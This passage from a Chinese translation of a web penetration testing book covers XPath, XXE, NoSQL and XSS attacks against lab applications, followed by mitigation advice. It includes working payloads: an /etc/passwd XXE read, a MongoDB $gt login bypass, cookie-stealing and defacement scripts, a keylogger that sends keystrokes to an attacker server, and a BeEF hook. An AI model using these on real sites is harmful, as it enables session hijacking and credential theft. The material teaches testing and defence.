您可以看到响应包含的信息比原始查询要多得多,应用程序不会将其中一些信息作为正常搜索的一部分显示出来。

使用 XCat 进行 XPath 注入

XCat 是一个用 Python 3 编写的工具,可以帮助您利用 XPath 注入漏洞检索信息。它在 Kali Linux 中默认不包含,但可以轻松添加。您需要在 Kali Linux 中安装 Python 3 和 pip,然后只需在终端中运行以下命令:

apt-get install python3-pippip3 install xcat

安装 XCat 后,您需要在 bWAPP 中进行身份验证,以获取易受攻击的 URL 和 cookie,以便您可以使用以下结构的命令:

xcat -m <http_method> -c "<cookie value>" <URL_without_parameters> <injecable_parameter> <parameter1=value> <parameter2=value> -t "<text_in_true_results>"

在这种情况下,命令将如下所示:

xcat -m GET -c "PHPSESSID=kbh3orjn6b2gpimethf0ucq241;JSESSIONID=9D7765D7D1F2A9FCCC5D972A043F9867;security_level=0" http://10.7.7.5/bWAPP/xmli_2.php genre genre=horror action=search -t ">1<"

注意,我们使用">1<"作为真实字符串。这是因为结果表中的数字仅在找到至少一个结果时才会出现。对 bWAPP 运行该命令将导致类似以下的结果:

XML 外部实体注入

在 XML 中,一个实体是一个可以是内部或外部的存储单元。内部实体是指在其声明中定义了其值的实体,而外部实体则从外部资源(如文件)中获取值。当应用程序接收来自用户的一些 XML 格式的输入并处理其中声明的外部实体时,它容易受到XML 外部实体XXE)注入的影响。

我们将再次使用 bWAPP,在 /A7 - Missing Functional Level Access Control/ 中使用 XEE 练习来进行实践。在那里,你将只看到一个带有按钮的文本,当你点击时似乎什么也没有发生。然而,让我们检查代理的记录请求:

因此,在这里你正在发送一个包含你的用户名和一些秘密的 XML 结构。你发送请求给 Repeater,以进一步分析和测试。首先,尝试创建一个内部实体,看看服务器是否处理它。要做到这一点,请提交以下 XML:


<!DOCTYPE test [ <!ENTITY internal-entity "boss" >]>

<reset><login>&internal-entity;</login><secret>Any bugs?</secret></reset>

在这里我们创建了一个名为internal-entity的实体,其值为"boss",然后我们使用该实体来替换登录值,这反映在响应中。这意味着你通过该实体加载的任何内容都将被服务器处理和反映。

尝试加载一个文件,如下所示:


<!DOCTYPE test [  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

使用SYSTEM,你正在定义一个外部实体。这加载一个文件(/etc/passwd),服务器将在其响应中显示结果。

如果解析器未正确配置,并且加载了expect PHP 模块,你还可以通过 XEEs 获得远程执行权限:


<!DOCTYPE test [  <!ENTITY xxe SYSTEM "expect://uname -a" >]>

实体扩展攻击

即使解析器不允许外部实体,允许内部实体仍然可能被恶意用户利用并导致服务器中断。由于所有 XML 解析器都会使用其定义的值来替换实体,因此可以创建一组递归实体,以便服务器可以处理大量信息,直到无法响应。

这被称为实体扩展攻击。以下结构是一个简单的概念证明:


<!DOCTYPE test [

<!ENTITY entity0 "Level0-">

<!ENTITY entity1 "Level1-&entity0;">

<!ENTITY entity2 "Level2-&entity1;&entity1;">

<!ENTITY entity3 "Level3-&entity2;&entity2;&entity2;">

<!ENTITY entity4 "Level4-&entity3;&entity3;&entity3;&entity3;">

<!ENTITY entity5 "Level5-&entity4;&entity4;&entity4;&entity4;&entity4;">

]>

<reset><login>&entity0;</login><secret>Any bugs?</secret></reset>

在这里,你可以看到当加载entity5时会发生什么。所有其他实体也将被加载。这些信息在服务器内存中存储,因此如果你发送足够大的有效负载或足够深的递归,可能会导致服务器内存耗尽,无法响应用户的请求。

现在让我们看看在加载entity5时响应的大小会如何变化:

重要的是要记住,在对真实应用程序进行渗透测试时,必须极其谨慎,并且仅在可以证明漏洞存在而不会对服务造成中断的情况下进行测试,除非客户另有要求。在这种情况下,应采取特殊环境和特殊记录和监控措施。对于实体扩展攻击,展示六到七级的递归可以足以作为概念的证明。还应考虑响应时间。

NoSQL 注入

近年来,大数据或者说各种版本和不同目的的大量信息的存储、处理和分析越来越受到各种规模公司的推广和实施。这种信息通常是非结构化的,或者来自不一定兼容的来源。因此,它需要存储在一种特殊类型的数据库中,即所谓的Not only SQL (NoSQL) 数据库,如 MongoDB、CouchDB、Cassandra 和 HBase。

上述数据库管理器不使用 SQL(或者不仅使用 SQL)并不意味着它们没有注入风险。请记住,SQL 注入漏洞是由于发送查询的应用程序缺乏验证造成的,而不是由 DBMS 处理造成的。对 NoSQL 数据库的查询进行代码注入或参数更改是可能的,也并不罕见。

对 NoSQL 注入进行测试

NoSQL 查询通常以 JSON 格式完成。例如,MongoDB 中的查询可能如下所示:


User.find({ username: req.body.username, password: req.body.password }, ...

要在使用 MongoDB 数据库的应用程序中注入代码,您需要利用 JSON 语法,使用字符如 ' " ; { } 并形成有效的 JSON 结构。

利用 NoSQL 注入

要测试实际的利用方式,您可以使用由 Snyk 制作的易受攻击应用程序(github.com/snyk/goof)。要运行此应用程序,您需要在目标服务器上安装并正确运行 Node.js 和 MongoDB。

您应该尝试绕过管理员部分的密码检查的注入攻击。设置代理后,浏览到您的易受攻击应用程序的管理员部分。在这个例子中,它将是http://10.0.2.2:3001/admin。如果您提交用户admin和任何密码,您会发现没有访问权限。

如果您将该请求发送给 Repeater,您会发现它正在发送两个参数:usernamepassword。您应该更改请求格式为 JSON。要做到这一点,您需要更改Content-Type头的值和参数的格式:

如果您提交了该请求,服务器似乎会接受它,因为不会生成任何错误。因此,为了明确起见,让我们使用实际的admin密码以 JSON 格式确保它确实被接受:

现在您知道它是如何工作的,请尝试注入条件而不是密码值,以便验证始终为真。查询将会说:“如果用户名是admin且密码大于空字符串”:


{"username":"admin","password":{"$gt":""}}

$gt是 MongoDB 的一个特殊查询运算符,表示大于(>)的二进制操作。更多的运算符和注入字符串可以在github.com/cr0hn/nosqlinjection_wordlists找到。

NoSQLMap(github.com/codingo/NoSQLMap.git)是一个开源工具,未包含在 Kali Linux 中,但易于安装。它可以用于自动化 NoSQL 注入的检测和利用。

缓解和预防注入漏洞

防止注入漏洞的关键是验证。用户提供的输入永远不应被信任,应始终进行验证,并在包含以下无效或危险字符时予以拒绝或清理:

  • 引号('")

  • 括号和方括号

  • 保留特殊字符('!''%''&'';'

  • 注释组合('--''/*''*/''#''(:', ':)'

  • 其他特定于语言和实现的字符

验证的推荐方法是白名单。这意味着对于每个输入字段或字段组,都有一个允许字符的列表,并将提交的字符串与该列表进行比较。提交的字符串中的所有字符必须在允许列表中才能通过验证。

对于防止 SQL 注入,应使用参数化或准备好的语句,而不是将输入连接到查询字符串。准备好的语句的实现因语言而异,但它们都遵循同样的原则;由客户端提供的输入不会连接到查询字符串,而是作为参数发送到一个适当构建查询的函数。以下是 PHP 的一个示例:


$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE '%?%'");

$stmt->execute(array($_GET['name']));

这个主题的一些有用参考资料如下:

概要

在本章中,我们讨论了各种注入漏洞。注入漏洞是 Web 应用程序中的严重漏洞,攻击者可以通过利用它来完全控制服务器。我们还研究了通过不同类型的注入,恶意攻击者可以访问操作系统。然后可以用来攻击网络上的其他服务器。当攻击者利用 SQL 注入漏洞时,他们可以访问后端数据库中的敏感数据。这对组织来说可能是灾难性的。

在下一章中,我们将了解一种特定类型的注入漏洞,即跨站脚本(Cross-Site Scripting),它允许攻击者通过在请求参数中注入或诱使用户注入脚本代码来改变页面向用户呈现的方式。

第六章:发现和利用跨站脚本(XSS)漏洞

Web 浏览器是一个代码解释器,它接受 HTML 和脚本代码以以吸引人和有用的格式向用户呈现文档,包括文本、图像和视频剪辑。它允许用户与动态元素进行交互,包括搜索字段、超链接、表单、视频和音频控件等等。

应用程序有许多方法来管理与用户的这种动态交互。在当今的 Web 应用程序中,最常见的方式是使用客户端脚本代码。这意味着服务器向客户端发送将由 Web 浏览器执行的代码。

当用户输入用于确定脚本代码行为,并且此输入未经适当验证和清理以防止其包含代码而不是信息时,浏览器将执行注入的代码,您将拥有跨站脚本XSS)漏洞。

XSS 是一种代码注入类型,当脚本代码被添加到用户的输入并被 Web 浏览器作为代码而不是数据处理时,就会发生 XSS 漏洞,然后执行它,改变用户看到页面和/或其功能的方式。

跨站脚本攻击概述

名称“跨站脚本”可能与其当前定义不直观相关。这是因为该术语最初指的是一种相关但不同的攻击。在 20 世纪 90 年代末和 21 世纪初,可以使用 JavaScript 代码从加载在相邻窗口或框架中的 Web 页面中读取数据。因此,恶意网站可以跨越两者之间的边界,并与与其域无关的完全不相关的 Web 页面上加载的内容进行交互。浏览器开发人员后来修复了这个问题,但攻击名称被继承,用于使 Web 页面加载和执行恶意脚本而不是从相邻框架中读取内容的技术。

简单来说,XSS 攻击允许攻击者在另一个用户的浏览器中执行恶意脚本代码。它可以是 JavaScript、VBScript 或任何其他脚本代码,尽管 JavaScript 是最常用的。恶意脚本通过易受 XSS 攻击的网站传递给客户端。在客户端上,Web 浏览器将脚本视为网站的合法部分并执行它们。当脚本在受害者的浏览器中运行时,它可以强制浏览器执行类似于用户可以执行的操作。脚本还可以使浏览器执行欺诈性交易、窃取 Cookie 或将浏览器重定向到另一个网站。

XSS 攻击通常涉及以下参与者:

  • 执行攻击的攻击者

  • 易受攻击的 Web 应用程序

  • 使用 Web 浏览器的受害者

  • 攻击者希望通过受害者重定向浏览器或攻击第三方网站

让我们看一个攻击者执行 XSS 攻击的例子:

  1. 攻击者首先使用合法数据测试各个输入字段的 XSS 漏洞。将数据反映回浏览器的输入字段可能是 XSS 漏洞的候选项。以下截图显示了一个示例,其中网站使用GET方法传递输入并将其显示回浏览器:

  1. 一旦攻击者找到一个参数来注入,该参数上没有进行足够或没有进行输入验证,他们将不得不设计一种方法将包含 JavaScript 的恶意 URL 传递给受害者。攻击者可以使用电子邮件作为传递机制,或者通过网络钓鱼攻击引诱受害者查看电子邮件。

  2. 电子邮件将包含一个指向易受攻击的 Web 应用程序的 URL 以及注入的 JavaScript。当受害者点击它时,浏览器解析 URL 并将 JavaScript 发送到网站。以 JavaScript 形式的输入在浏览器中反映出来;考虑以下示例:

      <script>alert('Pwned!!')</script>. 

完整的 URL 是http://example.org/hello.php?name=<script>alert('Pwned!!')</script>

  1. 警报方法通常用于演示目的和测试应用程序是否存在漏洞。在本章后面,我们将探讨攻击者经常使用的其他 JavaScript 方法。

  2. 如果 Web 应用程序存在漏洞,将在受害者的浏览器中弹出对话框,如下面的屏幕截图所示:

XSS 的主要目标是在受害者的浏览器中执行 JavaScript,但根据网站的设计和目的,有不同的实现方式。以下是 XSS 的三个主要类别:

  • 持久性 XSS

  • 反射型 XSS

  • 基于 DOM 的 XSS

持久性 XSS

当注入的数据存储在 Web 服务器或数据库上,并且应用程序在不进行验证的情况下将其返回给应用程序的一个或所有用户时,XSS 漏洞被称为持久性存储型。一个目标是感染网站的每个访问者的攻击者将使用持久性 XSS 攻击。这使得攻击者能够大规模地利用网站。

持久性 XSS 漏洞的典型目标如下:

  • 基于 Web 的讨论论坛

  • 社交网络网站

  • 新闻网站

持久性 XSS被认为比其他 XSS 漏洞更严重,因为攻击者的恶意脚本会自动注入到受害者的浏览器中。它不需要钓鱼攻击来诱使用户点击链接。攻击者将恶意脚本上传到一个易受攻击的网站,然后作为受害者正常浏览活动的一部分传递给受害者的浏览器。由于 XSS 也可以用于从外部网站加载脚本,这在存储型 XSS 中尤其具有破坏力。注入后,以下代码将查询远程服务器以执行 JavaScript:

<script type="text/javascript"  src="img/malicious.js"></script> 

下图显示了一个易受持久性 XSS 攻击的 Web 应用程序示例。该应用程序是一个在线论坛,用户可以创建帐户并与其他人互动。应用程序将用户的个人资料与其他详细信息一起存储在数据库中。攻击者确定该应用程序未对评论部分中的数据进行过滤,并利用此机会向该字段添加恶意 JavaScript。此 JavaScript 被存储在 Web 应用程序的数据库中。在正常浏览时,当一个无辜的受害者查看这些评论时,JavaScript 会在受害者的浏览器中执行,然后获取 cookie 并将其传递给攻击者控制的远程服务器:

最近,持久性 XSS 已经在互联网上的多个网站上被用来利用用户的网站作为加密货币挖矿的工人或组成浏览器僵尸网络。

反射型 XSS

反射型 XSS是一种非持久性的攻击形式。恶意脚本是受害者对 Web 应用程序的请求的一部分,然后由应用程序以响应的形式反射回来。这可能看起来很难利用,因为用户不会自愿向服务器发送恶意脚本,但有几种方法可以诱使用户对自己的浏览器发起反射型 XSS 攻击。

反射型 XSS 主要用于有针对性的攻击,黑客部署了包含恶意脚本和 URL 的钓鱼邮件。或者,攻击可能涉及在公共网站上发布一个链接,并引诱用户点击它。结合缩短 URL 的服务,缩短 URL 并隐藏在受害者心中会产生疑问的长而奇怪的脚本,可以用于执行反射型 XSS 攻击,成功率很高。

如下图所示,受害者被欺骗点击一个将脚本传递给应用程序的 URL,然后没有适当验证地反射回来:

基于 DOM 的 XSS

第三种类型的 XSS 是本地 XSS,直接影响受害者的浏览器。这种攻击不依赖于向服务器发送恶意内容,而是使用浏览器的 API——文档对象模型DOM)来操作和呈现网页。在持久型和反射型 XSS 中,脚本被服务器包含在响应中。受害者的浏览器接受它,并将其视为网页的合法部分,在页面加载时执行。在基于 DOM 的 XSS中,只有服务器提供的合法脚本会被执行。

越来越多的 HTML 页面是通过在客户端下载 JavaScript 并使用配置参数来调整用户所见内容生成的,而不是像应该显示的那样由服务器发送。每当页面的某个元素需要在不刷新整个页面的情况下更改时,都会使用 JavaScript 来完成。一个典型的例子是一个允许用户更改页面语言或颜色,或调整其中元素大小的网站。

基于 DOM 的 XSS 利用这个合法的客户端代码来执行脚本攻击。基于 DOM 的 XSS 最重要的部分是,合法的脚本使用用户提供的输入来向用户浏览器上显示的网页添加 HTML 内容。

让我们讨论一个基于 DOM 的 XSS 的例子:

  1. 假设创建了一个网页,根据 URL 中传递的城市名称显示定制内容,URL 中的城市名称也会显示在用户浏览器上的 HTML 网页中,如下所示:
      http://www.cityguide.test/index.html?city=Mumbai
  1. 当浏览器接收到上述 URL 时,它会发送一个请求到http://www.cityguide.test以接收网页。在用户的浏览器上,会下载并运行一个合法的 JavaScript,它会编辑 HTML 页面,在加载的页面顶部添加城市名称作为标题。城市名称是从 URL 中获取的(在这种情况下是Mumbai)。因此,城市名称是用户可以控制的参数。

  2. 如前所述,基于 DOM 的 XSS 中的恶意脚本不会被发送到服务器。为了实现这一点,使用#符号来阻止发送到服务器的符号后面的任何内容。因此,服务器端代码无法访问它,尽管客户端代码可以访问它。

恶意 URL 可能看起来像以下内容:

      http://www.cityguide.test/index.html?#city=<script>function</script>
  1. 当页面加载时,浏览器会调用使用 URL 中的城市名称生成 HTML 内容的合法脚本。在这种情况下,合法脚本遇到恶意脚本,并将脚本写入 HTML 正文而不是城市名称。当网页呈现时,脚本被执行,导致基于 DOM 的 XSS 攻击。

下图说明了基于 DOM 的 XSS:

使用 POST 方法的 XSS 攻击

在前面的例子中,你已经看到了使用GET方法向受害者传递恶意链接或将载荷存储在服务器上的方法。虽然在现实生活中可能需要更复杂的设置来进行攻击,但使用POST请求进行 XSS 攻击也是可能的。

由于POST参数是发送到请求的正文中而不是 URL 中,使用这种方法进行 XSS 攻击需要攻击者说服受害者浏览到由攻击者控制的站点。这将是向易受攻击的服务器发送恶意请求的站点,并向用户响应,如下图所示:

其他 XSS 攻击向量

通过POSTGET方法发送的表单参数并不是唯一用于 XSS 攻击的参数。头部值,如User-AgentCookieHost以及任何其他将信息反映给客户端的头部,甚至通过OPTIONSTRACE方法也是易受 XSS 攻击的。作为渗透测试人员,您需要完全测试由服务器处理并反射回用户的请求的所有组件。

利用跨站脚本攻击

黑客在利用 XSS 漏洞时非常有创意,结合当前浏览器中 JavaScript 的功能,攻击可能性增加了。结合 JavaScript 的 XSS 可以用于以下类型的攻击:

  • 账户劫持

  • 修改内容

  • 篡改网站

  • 从受害者的机器上运行端口扫描

  • 记录按键和监控用户活动

  • 窃取浏览器信息

  • 利用浏览器漏洞

触发 XSS 漏洞的方式有很多种,不仅仅是<script></script>标签。请参考 OWASP 的防御备忘单,链接如下:

www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

在接下来的几节中,我们将看一些实际的例子。

窃取 cookie

XSS 漏洞的一个直接影响是攻击者可以使用脚本代码窃取有效的会话 cookie,并使用它劫持用户的会话,如果 cookie 的参数没有配置好的话。

为了收集会话 cookie,攻击者需要运行一个 Web 服务器,并监听被注入应用程序发送的请求。在最基本的情况下,可以使用从基本的 Python HTTP 服务器到运行接收和存储 ID 甚至使用它们自动执行进一步攻击的正确的 Apache 或 nginx 服务器。为了演示起见,我们将使用基本的 Python 服务器。在 Kali Linux 的终端会话中执行以下命令以在端口8000上运行服务器:

python -m SimpleHttpServer 8000  

一旦服务器运行起来,你将在 OWASP BWA 虚拟机中的 WackoPicko Web 应用程序中利用一个持久性 XSS 漏洞。在 Kali Linux 中浏览到 WackoPicko,在 Guestbook 表单中提交以下代码的评论:

<script>document.write('<img src="img/'+document.cookie+' ">');</script> 

注意127.0.0.1是 Kali Linux 的本地 IP 地址。它应该被设置为接收 cookie 的服务器的地址:

每次加载 Guestbook 页面时,它都会执行脚本并尝试从外部服务器获取图像。用于获取此类图像的请求在 URL 中包含会话 cookie,这将被记录在接收服务器上,如下面的截图所示:

篡改网站

使用 XSS 来篡改网站(改变其视觉外观)并不是一种非常常见的攻击。尽管如此,它是可以做到的,特别是对于持久性漏洞,它可以给一个网站被篡改的公司带来严重的声誉损害,即使服务器的文件没有发生任何改变。

你可以用 JavaScript 以多种方式改变网站的外观。例如,插入 HTML 元素如diviframe,替换样式值,改变图像源,以及许多其他技术都可以改变网站的外观。你还可以使用文档的bodyinnerHTML属性来替换整个页面的 HTML 代码。

Mutillidae II 有一个 DOM XSS 测试表单,可以帮助我们测试这个漏洞。在菜单中,转到 OWASP 2013 | A3 - 跨站脚本攻击(XSS)| DOM 注入 | HTML5 存储。这个演示应用程序将信息保存到浏览器的 HTML5 存储中,并且它包含许多漏洞。在这里,我们将重点关注当一个元素被添加到存储中时,它会反映出键的事实,如下面的截图所示:

该表单有一定程度的过滤,因为script标签不会被反映出来:

经过一些不同注入字符串的试验和错误,你会发现一个带有不存在源(例如,src参数)的img标签是有效的:

<img src=x onerror="document.body.innerHTML='<h1>Defaced with XSS</h1>'"> 

将该代码设置为新元素的键,并点击“添加新元素”将显示如下内容:

如前所述,这样的攻击不会改变 Web 服务器上的文件,只有运行恶意脚本的用户才能注意到这些变化。当利用持久性 XSS 时,篡改可能会影响大量用户,因为攻击者不需要逐个地针对每个受害者,这与反射型和基于 DOM 的 XSS 不同。无论哪种方式,这可能会导致用户将敏感信息提供给攻击者,同时认为他们正在提交给一个合法的网站。

键盘记录器

利用 XSS 收集用户敏感信息的另一种方法是将浏览器转变为一个键盘记录器,捕获每个按键并将其发送到攻击者控制的服务器。这些按键可能包含用户在页面中输入的敏感信息,如姓名、地址、密码、秘密问题和答案、信用卡信息等,具体取决于受攻击页面的目的。

我们将使用预先安装在 Kali Linux 中的 Apache Web 服务器,以便将按键存储在文件中,以便我们在利用 XSS 后可以检查受攻击应用程序发送的按键。服务器将有两个文件:klog.phpklog.js

这是klog.php文件的外观:

<?php 
  if(!empty($_GET['k'])) { 
    $file = fopen('keys.txt', 'a'); 
    fwrite($file, $_GET['k']); 
    fclose($file); 
  } 
?> 

这是klog.js文件的外观:

var buffer = []; 
var server = 'http://10.7.7.4/klog.php?k=' 
document.onkeypress = function(e) { 
  buffer.push(e.key); 
} 
window.setInterval(function() { 
  if (buffer.length > 0) { 
    var data = encodeURIComponent(buffer); 
    new Image().src = server + data; 
    buffer = []; 
  } 
}, 200); 

在这里,10.7.7.4是 Kali Linux 机器的地址,所以受害者将把缓冲区发送到该服务器。此外,根据系统的配置,您可能需要在代码中指定的路径中创建keys.txt文件。在这个例子中,它是 Web 根目录(/var/www/html/)。此外,添加写权限或将所有权设置为 Apache 的用户,以防止 Web 服务器在尝试更新本地文件时出现权限错误:

touch /var/www/html/keys.txt
chown www-data /var/www/html/keys.txt

这是键盘记录器的最简单版本。更复杂的版本可能包括以下内容:

  • 捕获的时间戳

  • 发送信息的用户或机器的标识符

  • 将键保存到数据库以便查询、分组和排序

  • 控制功能,如启动和停止键盘记录器,触发特定键或组合的操作

在渗透测试期间,应尽量避免从客户端或用户中捕获信息,尽管有时为了正确覆盖某些攻击向量是必要的。如果是这种情况,必须采取适当的安全措施来传输、存储和处理这些信息。如果任何信息被发送到渗透测试人员控制的服务器,通信必须使用 HTTPS、SSH 或其他安全协议进行加密。存储也必须进行加密。建议使用全盘加密,但还需要在其上进行数据库和文件加密。此外,根据约定规则,可能需要安全擦除所有信息。

再次使用 WackoPicko 的留言板,提交以下评论:

这将在每次用户访问留言板页面时加载外部 JavaScript 文件,并捕获他们发出的所有按键。现在您可以在页面中键入任何内容,它将被发送到您的服务器。

如果您想查看到目前为止记录的内容,只需查看 Kali Linux 中的keys.txt文件:

您可以看到,由于键在客户端缓冲并定期发送,所以有一些由逗号分隔的不同长度的组,并且非可打印键以名称的形式写入:ArrowLeftArrowRightBackspaceHomeEnd等等。

利用 BeEF-XSS 控制用户的浏览器

一种被称为浏览器中间人MITB)的攻击使用 JavaScript 将用户的浏览器连接到一个命令和控制C2)服务器,该服务器使用脚本向浏览器发出指令并从中收集信息。XSS 可以用作载体,使用户在访问易受攻击的应用程序时加载这样的脚本。攻击者可以执行的操作包括:

  • 读取按键

  • 提取浏览器中保存的密码

  • 读取 cookie 和 HTML5 存储

  • 启用麦克风和摄像头(可能需要用户交互)

  • 利用浏览器漏洞

  • 使用浏览器作为进入组织内部网络的枢纽

  • 控制浏览器标签和窗口的行为

  • 安装恶意浏览器扩展

Kali Linux 包含浏览器利用框架BeEF),它是一个设置了托管 C2 中心的 Web 服务器以及在 MITB 攻击中由受害者调用的钩子代码的工具。

接下来,我们将演示攻击者如何使用 XSS 来让客户端(用户的浏览器)调用那个钩子文件,以及如何使用它在这样的浏览器上远程执行操作:

  1. 首先,您需要在 Kali Linux 中启动beef-xss服务。可以通过应用程序菜单完成:应用程序 | 13 - 社会工程学工具 | beef xss framework,或通过终端执行以下命令:
      beef-xss

如果服务正确启动,您应该能够浏览到控制面板。默认情况下,BeEF 运行在端口3000上,所以浏览到http://127.0.0.1:3000/ui/panel并使用默认的用户名和密码beef/beef登录,如下所示:

  1. 攻击者的下一步将是利用持久性 XSS 或诱使用户点击指向恶意站点或易受 XSS 攻击的站点的链接。

现在,作为受害者,转到 Mutillidae(OWASP 2013 | A3 - 跨站脚本(XSS) | 反射(一级) | DNS 查找)并在主机名/IP 文本框中提交以下内容:

      <script src="img/hook.js"></script> 

  1. 再次,10.7.7.4是运行 BeEF 的服务器的地址。在这种情况下,是您的 Kali Linux 机器。您可以看到结果似乎是空的,但如果您浏览到 BeEF 控制面板,您将看到您有一个新的浏览器连接。在详细信息选项卡中,您可以看到有关此浏览器的所有信息:

  1. 如果您转到当前浏览器的日志选项卡,您将看到钩子记录用户在浏览器中的所有操作,从点击和按键到窗口或标签的更改:

  1. 在命令选项卡中,您可以向受害者浏览器发出命令。例如,在下面的截图中,请求了一个 cookie:

扫描 XSS 漏洞

有了数百种可能的有效载荷变体,并且是 Web 应用程序中最常见的漏洞之一,XSS 有时很难找到,或者如果找到了,很难生成一个令客户团队投入时间和精力来修复它的令人信服的概念验证利用。此外,具有数百或数千个输入参数的大型应用程序几乎不可能在时间限制的测试中完全覆盖。

因此,您可能需要使用自动化工具来加快生成结果的速度,即使可能会牺牲一定程度的准确性,并增加触发应用程序中某些服务中断的风险。有许多 Web 漏洞扫描器,免费和付费都有,具有各种不同的准确性、稳定性和安全性。现在我们将回顾一些已被证明高效可靠的 XSS 漏洞专用扫描器。

XSSer

跨站“脚本者”XSSer)是一个自动化框架,旨在检测、利用和报告基于 Web 的应用程序中的 XSS 漏洞。它包含在 Kali Linux 中。

XSSer 可以检测持久性、反射性和基于 DOM 的 XSS,扫描指定的 URL 或根据给定的查询在 Google 上搜索潜在目标,通过不同的机制进行身份验证,并执行许多其他任务。

让我们尝试使用 BodgeIt 的搜索请求作为目标进行简单的扫描。为此,请在 Kali Linux 的终端中发出以下命令:

xsser -u http://10.7.7.5/bodgeit/search.jsp -g ?q=  

在这里,XSSer 在由-u参数指示的 URL 上运行,并使用GET方法和q-g ?q=)参数进行扫描。这意味着扫描器将其有效负载附加到-g之后指定的字符串,并将其结果附加到 URL 上,因为它使用GET。运行命令后,您将看到结果表明测试的 URL 易受 XSS 攻击:

还可以使用以下命令使用 GUI:

xsser -gtk

这是 GUI 的外观:

XSS-Sniper

XSS-Sniper 不包含在 Kali Linux 中,但绝对值得一试。这是 Gianluca Brindisi 的一个开源工具,可以搜索 XSS 漏洞,包括特定 URL 中的基于 DOM 的 XSS,或者可以爬行整个站点。虽然不像 XSSer 那样功能丰富,但在 XSSer 不可用或验证结果时,它是一个不错的选择。

XSS-Sniper 可以从其 GitHub 存储库下载:

git clone https://github.com/gbrindisi/xsssniper.git

要对GET请求进行基本扫描,只需使用-u参数后跟完整的 URL,包括测试值:

python xsssniper.py -u http://10.7.7.5/bodgeit/search.jsp?q=test

Burp Suite Professional 和 OWASP ZAP 包括可以准确检测到许多 XSS 实例的漏洞扫描功能。还可以使用 W3af、Skipfish 和 Wapiti 等扫描器。

预防和减轻跨站脚本攻击

与任何其他注入漏洞一样,适当的输入验证是防止 XSS 的第一道防线。此外,如果可能的话,避免使用用户输入作为输出信息。清理和编码是防止 XSS 的关键方面。

清理意味着从字符串中删除不可接受的字符。当输入字符串中不应存在特殊字符时,这很有用。

编码将特殊字符转换为其 HTML 代码表示。例如,&转换为&amp;<转换为&lt;。某些类型的应用程序可能需要允许在输入字符串中使用特殊字符。对于这些应用程序,清理是不可选的。因此,它们应该在将输出数据插入页面和存储在数据库中之前对其进行编码。

验证、清理和编码过程必须在客户端和服务器端都进行,以防止所有类型的 XSS 和其他代码注入。

有关预防跨站脚本攻击的更多信息,请访问以下网址:

摘要

在本章中,我们详细讨论了 XSS 漏洞。我们首先看了漏洞的起源以及它在多年来的演变过程中如何发展。然后,您了解了不同形式的 XSS 及其攻击潜力。我们还分析了攻击者如何利用不同的 JavaScript 功能在受害者的浏览器中执行各种操作,例如窃取会话 cookie、记录按键、篡改网站和远程控制 Web 浏览器。Kali Linux 有几个工具可以测试和利用 XSS 漏洞。我们使用 XSSer 和 XSS-Sniper 来检测 Web 应用程序中的漏洞。在最后一节中,我们回顾了应采取的一般措施,以防止或修复 Web 应用程序中的 XSS 漏洞。

在下一章中,我们将描述跨站请求伪造,并展示如何利用它来欺骗已验证用户执行不希望的操作,同时还提供了如何预防此类缺陷的建议。

第七章:跨站请求伪造(CSRF),识别和利用

跨站请求伪造CSRF)经常被错误地视为与 XSS 类似的漏洞。XSS 利用用户对特定站点的信任,使用户相信网站呈现的任何信息。另一方面,CSRF 利用网站对用户浏览器的信任,使网站在未验证用户是否要执行特定操作的情况下执行来自经过身份验证的会话的任何请求。

在 CSRF 攻击中,攻击者使经过身份验证的用户在其经过身份验证的 Web 应用程序中执行不需要的操作。这是通过用户访问的外部站点触发这些操作来实现的。

如果未实施足够的防御措施,CSRF 可以利用需要在经过身份验证的会话中进行的每个 Web 应用程序功能。以下是攻击者可以通过 CSRF 攻击执行的一些操作的示例:

  • 在 Web 应用程序中更改用户详细信息,例如电子邮件地址和出生日期

  • 进行欺诈性的银行交易

  • 在网站上进行欺诈性的点赞和点踩

  • 在电子商务网站上添加商品到购物车或在用户不知情的情况下购买商品

  • CSRF 攻击的先决条件

由于 CSRF 利用了经过身份验证的会话,受害者必须在目标 Web 应用程序中拥有活动的经过身份验证的会话。该应用程序还应允许在会话中进行交易而无需重新进行身份验证。

CSRF 是一种盲目攻击,目标 Web 应用程序的响应不会发送给攻击者,而是发送给受害者。攻击者必须了解触发所需操作的网站参数。例如,如果您想在网站上更改受害者的注册电子邮件地址,作为攻击者,您需要确定需要操纵以进行此更改的确切参数。因此,攻击者需要对 Web 应用程序有适当的理解,这可以通过直接与其交互来实现。

此外,攻击者需要找到一种方法来诱使用户点击预先构建的 URL,或者如果目标应用程序使用POST方法,则访问受攻击者控制的网站。这可以通过社交工程攻击来实现。

测试 CSRF 漏洞

CSRF 漏洞的描述明确表明它是一种业务逻辑缺陷。有经验的开发人员会创建 Web 应用程序,始终在执行关键任务(如更改密码、更新个人详细信息或在金融应用程序(如在线银行账户)中做出关键决策时)包括用户确认屏幕。测试业务逻辑缺陷不是自动化 Web 应用程序扫描器的工作,因为它们使用预定义规则。例如,大多数自动化扫描器会测试以下项目以确认 URL 中是否存在 CSRF 漏洞:

  • 检查请求和响应中常见的反 CSRF 令牌名称

  • 尝试确定应用程序是否通过提供虚假引用者来检查引用者字段

  • 创建变异体以检查应用程序是否正确验证令牌值

  • 检查查询字符串中的令牌和可编辑参数

大多数自动化应用程序扫描器使用的先前方法容易产生误报和漏报。应用程序将使用完全不同的缓解技术来防御 CSRF 攻击,从而使这些扫描工具无效。

分析应用程序中的 CSRF 漏洞的最佳方法是首先完全了解 Web 应用程序的功能。启动代理,如 Burp 或 ZAP,并捕获流量以分析请求和响应。然后,您可以创建一个 HTML 页面,复制从代理中识别出的易受攻击的代码。测试 CSRF 漏洞的最佳方法是手动进行。

如果应用程序在通过经过身份验证的用户会话执行服务器端更改时没有包含任何特殊的头部或表单参数,那么它很可能容易受到 CSRF 漏洞的攻击。例如,下面的屏幕截图显示了对Peruggia中的图片添加评论的请求,该应用程序是OWASP BWA虚拟机中的一个易受攻击的应用程序。您会注意到在服务器端没有特殊的头部可以识别一个请求与另一个请求的区别。此外,GETPOST参数用于标识要执行的操作、受影响的图像以及评论的内容:

有时,应用程序使用验证令牌,但其实现是不安全的。下面的屏幕截图显示了使用安全级别 1 的 Mutillidae II | OWASP 2013 | A8 - 跨站请求伪造(CSRF)| 注册用户的请求。您可以看到请求中有一个csrf_token参数用于注册新用户。然而,它只有四位数,并且似乎很容易预测。实际上,在这种特殊情况下,令牌的值始终相同:7777

其他实现 CSRF 防护令牌的错误示例包括:

